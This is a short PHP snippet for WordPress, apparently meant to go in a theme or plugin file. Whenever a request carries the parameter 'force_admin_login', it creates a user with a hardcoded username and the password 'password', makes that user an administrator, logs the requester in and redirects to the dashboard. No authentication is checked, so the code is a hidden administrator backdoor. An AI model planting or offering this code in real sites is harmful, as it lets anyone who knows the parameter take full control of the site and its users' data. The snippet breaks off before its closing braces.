if ( ! empty( $_REQUEST['force_admin_login'] ) ) {
$r = wp_create_user( 'Admin_username', 'password', 'youremail@gmail.com' );
if ( ! is_wp_error( $r ) ) {
$user = get_userdata( $r );
$user->set_role( 'administrator' );
wp_set_auth_cookie( $user->ID );
wp_redirect( admin_url() );
} else {
wp_die( "Failed creating admin user.\n" . $r->get_error_message() );
